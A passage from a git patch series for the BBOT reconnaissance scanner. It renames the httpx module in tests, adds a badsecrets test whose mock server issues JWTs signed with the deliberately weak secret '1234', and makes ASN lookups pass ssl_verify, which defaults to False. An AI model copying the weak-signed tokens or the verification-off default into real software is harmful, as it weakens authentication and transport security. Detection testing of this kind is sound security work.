", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 4834d898ca..6d56911723 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -10,7 +10,7 @@ class TestExcavate(ModuleTestBase): targets = ["http://127.0.0.1:8888/", "test.notreal", "http://127.0.0.1:8888/subdir/links.html"] - modules_overrides = ["excavate", "httpx"] + modules_overrides = ["excavate", "http"] config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}, "omit_event_types": []} async def setup_before_prep(self, module_test): @@ -28,7 +28,7 @@ async def setup_before_prep(self, module_test): Help
  • 16x50 UART Driver
  • - # these ones should get emitted as URL_UNVERIFIED events (processed by httpx which has accept_js_url=True) + # these ones should get emitted as URL_UNVERIFIED events (processed by http module which has accept_js_url=True) """ @@ -77,7 +77,7 @@ def check(self, module_test, events): assert "www6.test.notreal" in event_data assert "www7.test.notreal" in event_data assert "www8.test.notreal" in event_data - # .js files should be emitted as URL_UNVERIFIED events (they are processed by httpx which has accept_js_url=True) + # .js files should be emitted as URL_UNVERIFIED events (they are processed by http module which has accept_js_url=True) # they are seen by internal modules but not by output modules assert "http://127.0.0.1:8888/a_relative.js" not in event_data assert "http://127.0.0.1:8888/link_relative.js" not in event_data @@ -190,7 +190,7 @@ def check(self, module_test, events): class TestExcavateInScopeJavascript(TestExcavate): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["excavate", "httpx", "badsecrets"] + modules_overrides = ["excavate", "http", "badsecrets"] async def setup_before_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data( @@ -500,7 +500,7 @@ def check(self, module_test, events): class TestExcavateParameterExtraction(TestExcavate): # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER - modules_overrides = ["excavate", "httpx", "hunt"] + modules_overrides = ["excavate", "http", "hunt"] targets = ["http://127.0.0.1:8888/"] parameter_extraction_html = """ @@ -647,7 +647,7 @@ class TestExcavateParameterExtraction_postform_noaction(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] postform_extract_html = """

    Post for without action

    @@ -713,7 +713,7 @@ class TestExcavateParameterExtraction_additionalparams(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] postformnoaction_extract_multiparams_html = """

    Post for without action

    @@ -774,7 +774,7 @@ class TestExcavateParameterExtraction_getparam(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] getparam_extract_html = """
    ping """ @@ -796,7 +796,7 @@ class TestExcavateParameterExtraction_relativeurl(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] config_overrides = {"web": {"spider_distance": 2, "spider_depth": 3}} # Secondary page that has a relative link to a traversal URL @@ -870,7 +870,7 @@ def check(self, module_test, events): class TestExcavateParameterExtraction_json(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "paramminer_getparams"] + modules_overrides = ["http", "excavate", "paramminer_getparams"] config_overrides = { "modules": { "excavate": {"speculate_params": True}, @@ -902,7 +902,7 @@ def check(self, module_test, events): class TestExcavateParameterExtraction_xml(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "paramminer_getparams"] + modules_overrides = ["http", "excavate", "paramminer_getparams"] config_overrides = { "modules": { "excavate": {"speculate_params": True}, @@ -960,7 +960,7 @@ class TestExcavateParameterExtraction_inputtagnovalue(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] getparam_extract_html = """ """ @@ -980,7 +980,7 @@ def check(self, module_test, events): class TestExcavateParameterExtraction_jqueryjsonajax(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] jsonajax_extract_html = """ ", + status=200, + headers={ + "set-cookie": "vulnjwt=eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo; secure" + }, + ) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + virtual_host_found = False + http_response_found = False + jwt_cookie_vuln_found = False + jwt_body_vuln_found = False + + # Debug: print all events to see what we're getting + print(f"\n=== DEBUG: Found {len(events)} events ===") + for e in events: + print(f"Event: {e.type} - {e.data}") + if hasattr(e, "tags"): + print(f" Tags: {e.tags}") + + for e in events: + # Check for virtual host discovery + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.secrets.test"]: + virtual_host_found = True + # Verify it has the virtual-host tag + assert "virtual-host" in e.tags, f"VIRTUAL_HOST event missing virtual-host tag: {e.tags}" + + # Check for HTTP_RESPONSE with virtual-host tag + elif e.type == "HTTP_RESPONSE": + if "virtual-host" in e.tags: + http_response_found = True + # Verify the HTTP_RESPONSE has the expected format + assert "input" in e.data, f"HTTP_RESPONSE missing input field: {e.data}" + assert e.data["input"] == "admin.secrets.test", f"HTTP_RESPONSE input mismatch: {e.data['input']}" + assert "status_code" in e.data, f"HTTP_RESPONSE missing status_code: {e.data}" + assert e.data["status_code"] == 200, f"HTTP_RESPONSE status_code mismatch: {e.data['status_code']}" + # Debug: print the response data to see what badsecrets is analyzing + print(f"HTTP_RESPONSE data: {e.data}") + + # Check for badsecrets findings + elif e.type == "FINDING": + print(f"Found FINDING event: {e.data}") + description = e.data["description"] + + # Check for JWT vulnerability (from cookie) + if ( + "1234" in description + and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" + in description + and "JWT" in description + ): + jwt_cookie_vuln_found = True + + # Check for JWT vulnerability (from body) + if ( + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg" + in description + and "JWT" in description + ): + jwt_body_vuln_found = True + + assert virtual_host_found, "Failed to detect virtual host admin.secrets.test" + assert http_response_found, "Failed to detect HTTP_RESPONSE event with virtual-host tag" + assert jwt_cookie_vuln_found, ( + "Failed to detect JWT vulnerability - JWT with weak secret '1234' should have been found" + ) + assert jwt_body_vuln_found, ( + "Failed to detect JWT vulnerability in body - JWT 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg' should have been found" + ) + print( + f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}" + ) From 1c35b5450a8b3a9bb7e917a5ef32bfe7b6dbc654 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 14:50:11 -0400 Subject: [PATCH 400/912] ruff format waf_bypass --- bbot/modules/waf_bypass.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index c33c74993d..e552b244c3 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -114,9 +114,7 @@ async def handle_event(self, event): "simhash": simhash, "http_code": response.status_code, } - self.debug( - f"Stored simhash of response from {url} (content length: {len(response.text)})" - ) + self.debug(f"Stored simhash of response from {url} (content length: {len(response.text)})") async def get_url_content(self, url, ip=None): """Helper function to fetch content from a URL, optionally through specific IP""" From 1568ac1450127ac1272e08a0c21ea874ceb39d23 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 14:58:11 -0400 Subject: [PATCH 401/912] clean up stale ZMQ/pickle comments and remove VIRTUAL_HOST from web_report --- bbot/core/helpers/web/blast_response.py | 16 +++++++--------- bbot/modules/output/web_report.py | 2 +- 2 files changed, 8 insertions(+), 10 deletions(-) diff --git a/bbot/core/helpers/web/blast_response.py b/bbot/core/helpers/web/blast_response.py index 8deaca7a30..befe625715 100644 --- a/bbot/core/helpers/web/blast_response.py +++ b/bbot/core/helpers/web/blast_response.py @@ -1,12 +1,10 @@ """ -Response wrapper that makes blasthttp responses into a standard interface. +Response wrapper that gives blasthttp responses a standard Python interface. -This allows BBOT modules to use blasthttp transparently — they see the same -.status_code, .text, .content, .headers, .json(), .raise_for_status() interface -that BBOT modules expect. - -The wrapper stores only plain Python types so it pickles cleanly through the -ZMQ IPC layer. +BBOT modules see .status_code, .text, .content, .headers, .json(), +.raise_for_status() — the same interface they've always used. The wrapper +copies data out of the blasthttp PyO3 object into plain Python types so +nothing holds a reference to the Rust-side response after construction. """ import json as _json @@ -105,8 +103,8 @@ class BlasthttpResponse: Wraps data extracted from a blasthttp Response into a standard interface so BBOT modules work without changes. - All fields are plain Python types (str, bytes, int, dict) — no references to - blasthttp PyO3 objects — so the object pickles cleanly through ZMQ. + All fields are plain Python types (str, bytes, int, dict) — no references + to blasthttp PyO3 objects are retained after construction. """ __slots__ = ( diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index dd70963390..a306e1bf70 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VIRTUAL_HOST"] + watched_events = ["URL", "TECHNOLOGY", "FINDING"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", From b50c22737b605529049dcb2efd6fcf58dacd4022 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 16:20:45 -0400 Subject: [PATCH 402/912] fix name ordering (brendan/brenda) and update sslcert dep assertion --- bbot/core/helpers/names_generator.py | 2 +- bbot/test/test_step_1/test_modules_basic.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 586fefa89b..b17df8fc56 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -352,8 +352,8 @@ "bradley", "brandon", "brandybuck", - "brendan", "brenda", + "brendan", "brian", "brianna", "brittany", diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 0096fedef1..ab0259a306 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -162,8 +162,7 @@ async def test_modules_basic_checks(events, blasthttp_mock): assert "subdomain-enum" in all_preloaded["dnsbrute"]["flags"] assert "wordlist" in all_preloaded["dnsbrute"]["config"] assert type(all_preloaded["dnsbrute"]["config"]["max_depth"]) == int - assert all_preloaded["sslcert"]["deps"]["pip"] - assert all_preloaded["sslcert"]["deps"]["apt"] + assert all_preloaded["baddns"]["deps"]["pip"] assert all_preloaded["dnsbrute"]["deps"]["common"] assert all_preloaded["gowitness"]["deps"]["ansible"] From fd721094a7195f9766dafd538435128e4535724a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 16:25:33 -0400 Subject: [PATCH 403/912] fix HTTP_RESPONSE input field to use host:port, not full URL --- bbot/modules/http.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 46c3e6819b..01dc6b3d0e 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -262,7 +262,12 @@ async def handle_batch(self, *events): url = response.url # Build JSON dict for HTTP_RESPONSE event - j = self._response_to_json(result.url, response) + # The "input" field represents the original scan target (host:port), + # not the full URL. Other modules and output consumers use this to + # correlate responses back to the target that produced them. + input_parsed = urlparse(result.url) + url_input = input_parsed.netloc or result.url + j = self._response_to_json(url_input, response) # discard 404s from unverified URLs path = j.get("path", "/") From ea73b08e86834087533d51a43ee69dcf8c28330f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 16:52:19 -0400 Subject: [PATCH 404/912] sort adjectives and names lists alphabetically --- bbot/core/helpers/names_generator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index b17df8fc56..43f2e072f9 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -53,11 +53,11 @@ "demented", "demonic", "demonstrative", - "derpy", "depraved", "depressed", "deranged", "derogatory", + "derpy", "despicable", "devilish", "devious", From 29be8cd98d7238e254b24cbd081a1974a496d7e5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 17:01:35 -0400 Subject: [PATCH 405/912] Use asndb verify=False, respect global ssl_verify config --- bbot/core/event/helpers.py | 6 +++--- bbot/core/helpers/asn.py | 3 ++- bbot/scanner/scanner.py | 3 ++- bbot/scanner/target.py | 6 +++--- pyproject.toml | 2 +- uv.lock | 8 ++++---- 6 files changed, 15 insertions(+), 13 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index f0012ddafc..48c440f691 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -112,7 +112,7 @@ def _sanitize_and_extract_host(self, data): """ return data, None, None - async def _generate_children(self): + async def _generate_children(self, ssl_verify=False): return [] def _override_input(self, input): @@ -294,10 +294,10 @@ def _override_input(self, input): # ASNs are essentially just a superset of IP_RANGES. # This method resolves the ASN to a list of IP_RANGES using the ASN API, and then adds the cidr string as a child event seed. # These will later be automatically resolved to an IP_RANGE event seed and added to the target. - async def _generate_children(self): + async def _generate_children(self, ssl_verify=False): from asndb import ASNDB - client = ASNDB() + client = ASNDB(verify=ssl_verify) asn_data = await client.lookup_asn(str(self.data), include_subnets=True) children = [] if asn_data: diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 63cc31df12..d7693bfcce 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -28,7 +28,8 @@ def client(self): if self._client is None: from asndb import ASNDB - self._client = ASNDB() + ssl_verify = self.parent_helper.web_config.get("ssl_verify", False) + self._client = ASNDB(verify=ssl_verify) return self._client def _normalize(self, response): diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 488a85e781..b2883cded6 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -293,7 +293,8 @@ async def _prep(self): creates the scan's output folder, loads its modules, and calls their .setup() methods. """ # expand async seed types (e.g. ASN → IP ranges) - await self.preset.target.generate_children() + ssl_verify = self.preset.web_config.get("ssl_verify", False) + await self.preset.target.generate_children(ssl_verify=ssl_verify) # evaluate preset conditions (may abort the scan) if self.preset.conditions: diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index a91954557b..ff5c0d4548 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -415,7 +415,7 @@ def in_target(self, host): def __eq__(self, other): return self.hash == other.hash - async def generate_children(self): + async def generate_children(self, ssl_verify=False): """ Generate children for the target, for seed types that expand into other seed types. E.g. ASN targets are expanded into their constituent IP ranges. @@ -426,13 +426,13 @@ async def generate_children(self): # Expand seeds first for event_seed in list(self.seeds.event_seeds): - children = await event_seed._generate_children() + children = await event_seed._generate_children(ssl_verify=ssl_verify) for child in children: self.seeds.add(child) # Also expand blacklist event seeds (like ASN targets) for event_seed in list(self.blacklist.event_seeds): - children = await event_seed._generate_children() + children = await event_seed._generate_children(ssl_verify=ssl_verify) for child in children: self.blacklist.add(child) diff --git a/pyproject.toml b/pyproject.toml index 96ab0632f4..8f161689c3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -43,7 +43,7 @@ dependencies = [ "puremagic>=1.28,<2", "pydantic>=2.12.2,<3", "radixtarget>=4.0.1,<5", - "asndb>=1.0.0", + "asndb>=1.0.4", "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", diff --git a/uv.lock b/uv.lock index 21f483ad41..dbd6201b0b 100644 --- a/uv.lock +++ b/uv.lock @@ -119,7 +119,7 @@ wheels = [ [[package]] name = "asndb" -version = "1.0.2" +version = "1.0.4" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cachetools" }, @@ -127,9 +127,9 @@ dependencies = [ { name = "radixtarget" }, { name = "typer" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/0d/cf/c76454e691a96881732cf868977c2b5ad6bc03356f8e33d9fe885ea417cd/asndb-1.0.2.tar.gz", hash = "sha256:28c4c86cb390742ecaee4544ec4ca553946ff3d67d7d328a8f0e1d88e94d99e8", size = 18768, upload-time = "2026-03-05T20:53:10.059Z" } +sdist = { url = "https://files.pythonhosted.org/packages/82/2b/86f8d056d24476aeb0f7e63fb971b870f7018e728d9272a05232157cae30/asndb-1.0.4.tar.gz", hash = "sha256:23989a4a09e66b76a86b1a36eea78138b4a3001b5f909bb89e110635bb1723f2", size = 18956, upload-time = "2026-03-27T20:45:56.192Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/3a/1e/dc153bcbaacd7f80264aa5f06e888f4873144ac11978d7fd05fc7a848a60/asndb-1.0.2-py3-none-any.whl", hash = "sha256:2c170fbc3ad3ce1e98bc353d4801765d3a691b852ddd144306900ed273e337bf", size = 18261, upload-time = "2026-03-05T20:53:08.917Z" }, + { url = "https://files.pythonhosted.org/packages/e1/d7/a9084a90ea60919f84c39dc2302d802c9047b87373fcc2309898ca4095d9/asndb-1.0.4-py3-none-any.whl", hash = "sha256:a62e4f5872e12cbd4b146c7583f7bf2a5239e43ed20a63728295058ee3f1a3db", size = 18467, upload-time = "2026-03-27T20:45:57.022Z" }, ] [[package]] @@ -260,7 +260,7 @@ docs = [ requires-dist = [ { name = "ansible-core", specifier = ">=2.17,<3" }, { name = "ansible-runner", specifier = ">=2.3.2,<3" }, - { name = "asndb", specifier = ">=1.0.0" }, + { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, From e2b940233de09bfb3bde98102a736e0fd7db56a1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 17:19:33 -0400 Subject: [PATCH 406/912] Update scope accuracy test for sslcert HTTP_RESPONSE dependency --- .../test_manager_scope_accuracy.py | 3033 +++++++++++++++-- 1 file changed, 2668 insertions(+), 365 deletions(-) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 895d1b0dd2..eeb3b714b4 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -40,9 +40,10 @@ def bbot_other_httpservers(): server.clear() - @pytest.mark.asyncio -async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl): +async def test_manager_scope_accuracy_correct( + bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl +): """ This test ensures that BBOT correctly handles different scope distance settings. It performs these tests for normal modules, output modules, and their graph variants, @@ -59,7 +60,9 @@ async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbo server_77.expect_request(uri="/").respond_with_data(response_data="") server_88.expect_request(uri="/").respond_with_data(response_data="") server_99.expect_request(uri="/").respond_with_data(response_data="") - server_111.expect_request(uri="/").respond_with_data(response_data="") + server_111.expect_request(uri="/").respond_with_data( + response_data="" + ) server_222.expect_request(uri="/").respond_with_data(response_data="") server_33.expect_request(uri="/").respond_with_data(response_data="") @@ -112,12 +115,12 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) await dummy_module_nodupes.setup() await dummy_graph_output_module.setup() await dummy_graph_batch_output_module.setup() - + scan.modules["dummy_module"] = dummy_module scan.modules["dummy_module_nodupes"] = dummy_module_nodupes scan.modules["dummy_graph_output_module"] = dummy_graph_output_module scan.modules["dummy_graph_batch_output_module"] = dummy_graph_batch_output_module - + await scan.helpers.dns._mock_dns(_dns_mock) if scan_callback is not None: scan_callback(scan) @@ -149,7 +152,13 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) ) assert len(events) == 3 - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.test.notreal"]) @@ -157,14 +166,32 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) for _all_events in (all_events, all_events_nodups): assert len(_all_events) == 3 - assert 1 == len([e for e in _all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in _all_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in _all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in _all_events if e.type == "DNS_NAME" and e.data == "www.test.notreal"]) assert 0 == len([e for e in _all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) assert len(graph_output_events) == 3 - assert 1 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in graph_output_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66"]) assert 0 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "www.test.notreal"]) @@ -178,38 +205,152 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) ) assert len(events) == 4 - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events) == 9 - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) - assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 + ] + ) assert 0 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events_nodups) == 7 - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 + ] + ) assert 0 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 6 - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data 